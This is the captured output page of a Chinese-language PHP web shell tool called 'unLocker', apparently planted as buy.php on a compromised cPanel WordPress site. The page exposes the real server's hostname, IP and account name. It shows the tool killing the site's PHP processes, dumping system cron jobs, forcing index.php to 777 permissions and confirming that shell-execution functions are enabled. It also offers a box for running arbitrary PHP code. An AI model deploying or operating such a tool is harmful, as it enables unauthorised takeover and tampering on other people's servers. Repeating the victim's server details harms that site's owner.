可达鸭-解锁专用文件 - Verion 0.2 2024-10-12

当前系统用户: piechartdigital | 当前脚本所有者: piechartdigital

当前操作系统: Linux cpanel555.hostingmerkezi.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
当前服务器 IP 地址: 143.20.20.179
当前 PHP 版本: 8.1.34
服务器当前时间: 2026-10-22 11:12:46
当前没有使用 PHP-FPM。

正在运行的 PHP 进程:

piechar+  452300  0.0  0.0 324100  1352 ?        S    Oct14   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  478345  0.0  0.1 324100  4128 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  478362  0.0  0.1 324100  5272 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  483561  0.0  0.1 324100  5396 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  495323  0.0  0.1 324100  5276 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  508175  0.0  0.1 324100  5276 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  509048  0.0  0.1 324100  5280 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  511917  0.0  0.1 324100  5276 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  523423  0.0  0.1 324100  5268 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  523545  0.0  0.1 324100  5272 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  544902  0.0  0.1 324100  5368 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  550349  0.0  0.1 324100  5396 ?        S    Oct15   0:36 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  555785  0.0  0.1 324100  5396 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  922174  0.0  0.1 324004  5400 ?        S    Oct16   0:32 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3212718  0.0  0.1 324004  5260 ?        S    02:31   0:01 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3287047  0.4  0.3 333816 13396 ?        S    06:50   1:15 /opt/cpanel/ea-php81/root/usr/bin/php /home/piechartdigital/public_html/wp-content/qq2b50c0/847bf0
piechar+ 3300401  0.4  0.3 333816 13304 ?        S    06:52   1:15 /opt/cpanel/ea-php81/root/usr/bin/php /home/piechartdigital/public_html/wp-content/wp64807d/41d79f1
piechar+ 3601634  0.0  0.6 254408 24972 ?        S    11:12   0:00 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3601636  0.0  0.0  12000  2828 ?        S    11:12   0:00 sh -c ps aux | grep php
piechar+ 3601638  0.0  0.0   9288  1104 ?        S    11:12   0:00 grep php
piechar+ 4179102  0.0  0.0 324100  1832 ?        S    Oct13   0:43 /opt/cpanel/ea-php81/root/usr/bin/php-cgi

加载的PHP扩展: Core, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, readline, Reflection, SPL, session, standard, cgi-fcgi, bcmath, calendar, ctype, curl, dom, fileinfo, ftp, gd, iconv, imap, mbstring, mysqlnd, PDO, Phar, posix, SimpleXML, sockets, sqlite3, tokenizer, xml, xmlwriter, xsl, zip, mysqli, pdo_mysql, pdo_sqlite, xmlreader, clos_ssa, ionCube Loader

正在运行的 PHP 进程:

Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format

当前PHP脚本的进程ID: 3601634

开始kill PHP进程...

452300 ? 00:00:38 php-cgi 进程 452300 已 Kill.⚔️
478345 ? 00:00:38 php-cgi 进程 478345 已 Kill.⚔️
478362 ? 00:00:38 php-cgi 进程 478362 已 Kill.⚔️
483561 ? 00:00:37 php-cgi 进程 483561 已 Kill.⚔️
495323 ? 00:00:38 php-cgi 进程 495323 已 Kill.⚔️
508175 ? 00:00:38 php-cgi 进程 508175 已 Kill.⚔️
509048 ? 00:00:37 php-cgi 进程 509048 已 Kill.⚔️
511917 ? 00:00:37 php-cgi 进程 511917 已 Kill.⚔️
523423 ? 00:00:37 php-cgi 进程 523423 已 Kill.⚔️
523545 ? 00:00:37 php-cgi 进程 523545 已 Kill.⚔️
544902 ? 00:00:37 php-cgi 进程 544902 已 Kill.⚔️
550349 ? 00:00:36 php-cgi 进程 550349 已 Kill.⚔️
555785 ? 00:00:37 php-cgi 进程 555785 已 Kill.⚔️
922174 ? 00:00:32 php-cgi 进程 922174 已 Kill.⚔️
3212718 ? 00:00:01 php-cgi 进程 3212718 已 Kill.⚔️
3287047 ? 00:01:15 php 进程 3287047 已 Kill.⚔️
3300401 ? 00:01:15 php 进程 3300401 已 Kill.⚔️
3601634 ? 00:00:00 php-cgi 跳过本身 (PID: 3601634)>>
4179102 ? 00:00:43 php-cgi 进程 4179102 已 Kill.⚔️
共终止PHP进程数: 18

检查定时任务

内容来自 /etc/crontab

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

无法访问 /var/spool/cron/crontabs/

内容来自 /etc/cron.d/

/etc/cron.d/0hourly# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly
/etc/cron.d/CSPUpdate7 * * * * root /usr/bin/CSPUpdate self-update &>/dev/null
/etc/cron.d/CSPUpdateFallback2 * * * * root /usr/bin/CSPUpdateFallback -u CSPUpdateV2 &>/dev/null ; /usr/bin/CSPUpdate -u CSPUpdateFallback &>/dev/null
/etc/cron.d/CSPcPanel53 * * * * root /usr/bin/update_cpanelv2 &>/dev/null
@reboot root /usr/bin/update_cpanelv2 &>/dev/null
25 * * * * root /usr/bin/CSPUpdate -u cPanel &>/dev/null
37 21 */3 * * root /usr/bin/update_cpanelv2 --ssl-services &>/dev/null
1 11 * * 5 root /usr/bin/update_cpanelv2 --upcp &>/dev/null
/etc/cron.d/backup_jobs_helper# /etc/cron.d/backup_jobs_helper: cron job for Comet backup jobs processing
#
# This cron job runs the backup_jobs_helper script every 5 minutes to check for
# and execute any scheduled backup jobs that are due to run.
#
# The script is part of the Comet backup plugin for cPanel/WHM
#
# Format: minute hour day month dow user command

# Run backup jobs helper every 5 minutes
# (umask is set inside the script; do not duplicate it here)
*/5 * * * * root /usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1

/etc/cron.d/cl_detection_for_users*/5 * * * * root /usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py
/etc/cron.d/cl_plus8 * * * * root /usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null
*/5 * * * * root /usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null
/etc/cron.d/cldiag-cron35 5  * * * root /usr/bin/flock -n /var/run/cloudlinux_cldiag.cronlock /usr/bin/cldiag --cron-check
/etc/cron.d/cloudlinux-cron54 5  * * * root /usr/bin/flock -n /var/run/cloudlinux_cldetect.cronlock /usr/bin/cldetect --update-license
55 6  * * * root /usr/bin/flock -n /var/run/cloudlinux_summary.cronlock /usr/sbin/cloudlinux-summary --send --json &> /dev/null
35 4  * * * root /usr/bin/flock -n /var/run/cloudlinux_summary_rpm.cronlock /usr/sbin/cloudlinux-summary rpm-packages --send --json &> /dev/null
@reboot root test -f /var/lve/.boot_statistics_sent || { /usr/bin/flock -n /var/run/cloudlinux_summary.cronlock /usr/sbin/cloudlinux-summary --send --json &> /dev/null && touch /var/lve/.boot_statistics_sent; }
/etc/cron.d/cloudlinux_clean_hosting_packages0 0 * * * root /usr/bin/flock -n /var/run/cloudlinux_clean_hosting_packages.cronlock /usr/share/cloudlinux/cloudlinux_clean_hosting_packages.py &> /dev/null
/etc/cron.d/cloudlinux_clean_packages0 4 * * * root /usr/bin/flock -n /var/run/clean_packages.cronlock /usr/share/cloudlinux/clean_packages.sh &> /dev/null
/etc/cron.d/cloudlinux_domains_collector47 5 14 * * root /usr/bin/flock -n /var/run/cloudlinux_domains_collector.cronlock /usr/bin/cloudlinux_domains_collector | /opt/app-version-detector/app-version-detector-wrapper.sh --send-stats --scan-depth=2
/etc/cron.d/cloudlinux_reset_effective_cache@monthly root /usr/bin/flock -n /var/run/cloudlinux_reset_effective_cache.cronlock /usr/share/cloudlinux/reset_effective_cache.sh &> /dev/null
/etc/cron.d/clwpos_collect_information_cron.py0 0 * * * root /usr/sbin/clwpos_collect_information.py &> /dev/null
/etc/cron.d/clwpos_req_cron*/10 * * * * root /usr/bin/flock -n /var/run/cloudlinux_wpos_generate.cronlock /usr/share/cloudlinux/clwposcron &> /dev/null
/etc/cron.d/comet_license_sync# /etc/cron.d/comet_license_sync: cron job for Comet license-based registration
#
# This cron job runs every minute to check the cometbackup license status
# and automatically registers or unregisters the plugin with AppConfig based
# on license availability.
#
# Format: minute hour day month dow user command

# Run license sync every minute
* * * * * root /usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1
/etc/cron.d/cp-cagefs-cron37 03 * * * root /usr/share/cagefs-plugins/install-cagefs-plugin.py --cronupdate
/etc/cron.d/cpanel-analytics


Warning:  file_get_contents(/etc/cron.d/cpanel-analytics): Failed to open stream: Permission denied in /home/piechartdigital/public_html/buy.php on line 2

/etc/cron.d/cpanel_autossl


Warning:  file_get_contents(/etc/cron.d/cpanel_autossl): Failed to open stream: Permission denied in /home/piechartdigital/public_html/buy.php on line 2

/etc/cron.d/cpanel_php_sessions_cron*/29 * * * * root /usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions
/etc/cron.d/cpanel_ssl_reissue


Warning:  file_get_contents(/etc/cron.d/cpanel_ssl_reissue): Failed to open stream: Permission denied in /home/piechartdigital/public_html/buy.php on line 2

/etc/cron.d/exclude_users_cagefs_cron*/10 * * * * root /usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py
/etc/cron.d/imunify-antivirusPATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

# Every Saturday at 1:25
25 1 * * 6     root    /usr/bin/tmpwatch 168 /var/imunify360/tmp > /dev/null 2>&1 || :
# Every Saturday at 2:25
25 2 * * 6     root    /usr/bin/tmpwatch 168 /var/imunify360/tmp_cleanup > /dev/null 2>&1 || :
# Every 5 minutes. Ignore "ERROR: imunify360 service is running."
*/5 * * * *    root    bash -c 'sleep $((RANDOM \% 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :
17 4 * * *     root    /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1

0 * * * *   root    bash -c 'sleep $((RANDOM \% 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1
/etc/cron.d/imunify-corePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

# Daily package integrity check (DEF-37676)
47 2 * * *   root   bash -c 'sleep $((RANDOM \% 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1
/etc/cron.d/imunify-notifier# CONTENT OF THIS FILE IS GENERATED AUTOMATICALLY, DO NOT EDIT
SHELL=/bin/bash
MAILTO=""
* * * * * root /usr/sbin/imunify-notifier -update-cron
/etc/cron.d/kill_orphaned_php-cron*/5 * * * * root /usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script
/etc/cron.d/lvemanager-cron*/5  *  *  *  *       root /usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC
*/5  *  *  *  *       root /usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob
*/5  *  *  *  *       root /usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1
*/5  *  *  *  *       root /usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs
/etc/cron.d/lvemanager-selector46  9  *  *  *       root /usr/bin/flock -n /var/run/cloudlinux_cache_ruby.cronlock /usr/share/l.v.e-manager/utils/cache_rubygems.py
*/5  *  *  *  *       root /usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py
/etc/cron.d/lveutils-panel-cron*/5 * * * * root /usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages
/etc/cron.d/mailmanSHELL=/bin/bash
MAILTO=postmaster
# At 8AM every day, mail reminders to admins as to pending requests.
# They are less likely to ignore these reminders if they're mailed
# early in the morning, but of course, this is local time... ;)
0 8 * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs
#
# At 9AM, send notifications to disabled members that are due to be
# reminded to re-enable their accounts.
0 9 * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled
#
# Noon, mail digests for lists that do periodic as well as threshhold delivery.
0 12 * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests
#
# 5 AM on the first of each month, mail out password reminders.
0 5 1 * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/mailpasswds
#
# Every 5 mins, try to gate news to mail.  You can comment this one out
# if you don't want to allow gating, or don't have any going on right now,
# or want to exclusively use a callback strategy instead of polling.
#0,5,10,15,20,25,30,35,40,45,50,55 * * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/gate_news
#
# At 3:27am every night, regenerate the gzip'd archive file.  Only
# turn this on if the internal archiver is used and
# GZIP_ARCHIVE_TXT_FILES is false in mm_cfg.py
27 3 * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip
#
# At 4:30AM daily, cull old entries from the 'bad' and 'shunt' queues.
30 4 * * * mailman /usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/bin/python3 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt
/etc/cron.d/panel-detect-cron*/5 * * * * root /usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check
/etc/cron.d/panel_users_counter*/5 * * * * root /usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null
/etc/cron.d/raid-check# Run system wide raid-check once a week on Sunday at 1am by default
0 1 * * Sun root /usr/sbin/raid-check

/etc/cron.d/update_cpapi_cache0 * * * * root /usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null
/etc/cron.d/wp-toolkit-update# This cronjob is responsible for receiving the updates of WP Toolkit.
# It works as following logic:
# - WPT CLI is called to receive the available update version;
# - If update is found, then the URLs to the host with repositories are updated and cache is cleared for WPT repos;
# - If WPT CLI fails (e.g. unable to communicate with update service or WPT is completely broken), then
# the cronjob executes wp-toolkit-installer script to set the default URLs to host with repositories;
# - Finally the yum update is called to install latest available version.

0 1 * * * root sleep $((1 + RANDOM \% 5))h $((1 + RANDOM \% 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
/etc/cron.d/xray-continuous@daily root /usr/sbin/cloudlinux-xray-continuous &> /dev/null
/etc/cron.d/xray-plugin-check-cron*/10 * * * * root /usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1
/etc/cron.d/xray-tasks# ${RANDOM:0:2}m -> [10m - 99m], used to distribute task in time
0 5 * * * root bash -c "sleep ${RANDOM:0:2}m"; /usr/bin/flock -n /var/run/xray_tasks.cronlock /usr/sbin/cloudlinux-xray-manager autocomplete-tasks &> /dev/null
/etc/cron.d/xray_update_advices_metadata2 11 * * * root /usr/bin/flock -n /var/run/xray_upd_metadata.cronlock /usr/sbin/cl-smart-advice update-advices-metadata &> /dev/null
/etc/cron.d/xray_wp_plugin_install12 21 * * * root /usr/bin/flock -n /var/run/xray_sa_plugin.cronlock /usr/sbin/cl-smart-advice wordpress-plugin-install &> /dev/null

文件路径: /home/piechartdigital/public_html/index.php
index.php 文件有读取权限。
文件最后修改时间: 2024-04-27 06:52:54
🔒index.php 文件被锁定 (没有写权限)。
🔑文件权限成功修改为 777。
🌏该站点是 WordPress 站点, 版本: 7.0.2

输入指定单文件路径

unLocker

执行环境检测 - 执行函数检查

exec: Enabled
passthru: Enabled
system: Enabled
shell_exec: Enabled

输入php代码开始执行

Output:

piechar+  452300  0.0  0.0 324100  1352 ?        S    Oct14   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  478345  0.0  0.1 324100  4128 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  478362  0.0  0.1 324100  5272 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  483561  0.0  0.1 324100  5396 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  495323  0.0  0.1 324100  5276 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  508175  0.0  0.1 324100  5276 ?        S    Oct15   0:38 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  509048  0.0  0.1 324100  5280 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  511917  0.0  0.1 324100  5276 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  523423  0.0  0.1 324100  5268 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  523545  0.0  0.1 324100  5272 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  544902  0.0  0.1 324100  5368 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  550349  0.0  0.1 324100  5396 ?        S    Oct15   0:36 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  555785  0.0  0.1 324100  5396 ?        S    Oct15   0:37 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+  922174  0.0  0.1 324004  5400 ?        S    Oct16   0:32 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3212718  0.0  0.1 324004  5260 ?        S    02:31   0:01 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3287047  0.4  0.3 333816 13396 ?        S    06:50   1:15 /opt/cpanel/ea-php81/root/usr/bin/php /home/piechartdigital/public_html/wp-content/qq2b50c0/847bf0
piechar+ 3300401  0.4  0.3 333816 13304 ?        S    06:52   1:15 /opt/cpanel/ea-php81/root/usr/bin/php /home/piechartdigital/public_html/wp-content/wp64807d/41d79f1
piechar+ 3601634  0.0  0.6 254408 24972 ?        S    11:12   0:00 /opt/cpanel/ea-php81/root/usr/bin/php-cgi
piechar+ 3601636  0.0  0.0  12000  2828 ?        S    11:12   0:00 sh -c ps aux | grep php
piechar+ 3601638  0.0  0.0   9288  1104 ?        S    11:12   0:00 grep php
piechar+ 4179102  0.0  0.0 324100  1832 ?        S    Oct13   0:43 /opt/cpanel/ea-php81/root/usr/bin/php-cgi